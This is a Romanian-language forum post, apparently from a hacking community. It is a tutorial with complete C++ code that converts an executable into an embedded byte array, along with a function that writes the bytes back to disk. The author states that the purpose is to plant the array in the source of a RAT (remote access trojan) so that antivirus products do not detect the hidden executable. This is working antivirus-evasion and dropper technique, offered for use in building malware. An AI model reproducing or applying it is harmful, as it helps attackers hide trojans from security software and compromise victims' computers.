Ganav Posted June 7, 2014 Report Posted June 7, 2014 Am observat ca, mai nou, majoritatea antivirus-urilor pot detecta daca o aplicatie foloseste optiunea de embedded resource pentru a ascunde un executabil. Prin embedded resources se pot incapsula intr-un executabil mai multe fisiere de orice tip(text, media chiar si executabile). Optiunea este valabila in visual studio incepand cu versiunea din 2008. Am scris un mic program care citeste in binar un fisier .exe si il transforma intr-un sir de octeti, care sunt reprezentati printr-o variabila. Avem nevoie de viusal studio c++ express care se gaseste aici:http://www.visualstudio.com/downloads/download-visual-studio-vsDupa instalare cream un proiect Win32 Console Application: File->New Project->Win32->Win32 Console ApplicationDupa ce alegem un nume dam click Ok, Next si bifam optiunea de Empty Project dupa care dam click FinishAcum cream urmatoarele fisiere:In folderul de HeaderFiles(in stanga project explorer) click dreapta Add->New Item, alegem un fisier de tip .h(antet):includes.h:#ifndef INCLUDES_H#include <iostream>#include <fstream>#include <string>#endifFisierul de mai sus include toate fisierele antet de care avem nevoie.Repetam pasii si adaugam:ReadWrite.h#ifndef READWRITE_H#include "includes.h"#endifstruct HexCharStruct{ unsigned char c; HexCharStruct(unsigned char _c) : c(_c) { }};inline std::ostream& operator<<(std::ostream& o, const HexCharStruct& hs){ return (o << std::hex << (int)hs.c);}// Functia se asigura ca ceea ce printam cu << este in hex. Comportamentul implicit este // afisarea in baza zecimalainline HexCharStruct hex(unsigned char _c){ return HexCharStruct(_c);}void readWrite(std::string src_file, std::string dst_file);Acum dam click pe SourceFiles si adaugam un fisier sursa(.cpp):ReadWrite.cpp#include "ReadWrite.h"void readWrite(std::string src_file, std::string dst_file) { char byte; std::string bytes; const size_t max_block = 16380; std::ifstream src_file_h (src_file, std::ios::in|std::ios::binary); if (src_file_h.is_open()) { // Atata timp cat avem ceva de citit din fisier, citim intr-un octet pe care il urcam in // string-ul bytes while (src_file_h.get(byte)) { bytes.push_back(byte); } std::cout << "[I] File " << src_file << " read successfully\n"; } else { std::cout << "Unable to open source file " << src_file << std::endl; std::exit(1); } std::ofstream dst_file_h (dst_file, std::ios::binary); if (dst_file_h.is_open()) { // Acum scriem sirul de octeti intr-un fisier sursa in format C dst_file_h << "char embedded[] = \""; for(size_t i = 0; i < bytes.size(); i++) // Urmatorul test este necesar intrucat visual studio nu poate procesa string-uri mai mari ca 16380 // Intrebam daca i este un multiplu al lui 16380 si este diferit de 0(altfel pune un spatiu // chiar la inceput) if(!(i % max_block) && i) dst_file_h << "\\x" << hex(bytes[i]) << "\"\n\""; else dst_file_h << "\\x" << hex(bytes[i]); dst_file_h << "\";" << std::endl; dst_file_h << "size_t numbytes = " << "0x" << bytes.size() << ";" << std::endl; } else { std::cout << "Unable to open destination file " << dst_file << std::endl; std::exit(1); } // Inchidem fisierele src_file_h.close(); dst_file_h.close();}Repetam pasii si adaugam un nou fisier sursa(.cpp):main.cpp#include "includes.h"#include "ReadWrite.h"void usage(char **argv) { std::cout << "Usage: " << argv[0] << ": <exe_file> <dst_file>" << std::endl; exit(0);}int main(int argc, char **argv) { if(argc != 3) { usage(argv); }#ifndef NDEBUG // Teste. Rulam urmatorul exemplu doar in debug mode readWrite("testdll.dll", "bytecode.c");#else // Pe bune. In release mode. // src_file este fisierul executabil pe care vrem sa il convertim in sir de octeti. Trebuie sa existe si sa // prezent in directorul in care se gaseste executabilul. Daca nu este trebuie adaugata intreaga cale // catre fisier. std::string src_file(argv[1]); std::string dst_file(argv[2]); readWrite(src_file, dst_file);#endif return 0;}Apasam pe F7 pentru a compila programul(Build Solution). In dst_file avem linii similare cu:char embedded[] = "\x4d\x5a\x90\x0\x3\x0\x0\x0\x4\x0\x0\x0\xff\xff\x0\x0\xb8\x0\x0\x0\x0\x0\x0\x0\x40\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0x0";size_t numbytes = 0x7a00;In embedded se gaseste executabilul nostru. Copiem respectivele linii intr-un proiect(RAT) la ale carui surse avem acces. Ne putem folosi de urmatoarea functie pentru a scrie string-ul(variabila embedded) intr-un fisier extern:void write2Bin(std::string dst_file, char bytes[], size_t numbytes) { std::ofstream dst_file_h (dst_file, std::ios::out|std::ios::binary); if (dst_file_h.is_open()) { for(size_t i = 0; i < numbytes; i++) dst_file_h << bytes[i]; std::cout << "[I] File " << dst_file << " written successfully\n"; } else { std::cout << "Unable to open source file " << dst_file << std::endl; std::exit(1); }}Functia de mai sus este plasata de asemenea in unul din fisierele sursa ale RAT-ului. Astfel, antivirusul nu detecteaza resursa ca fiind de tip embedded. 1 Quote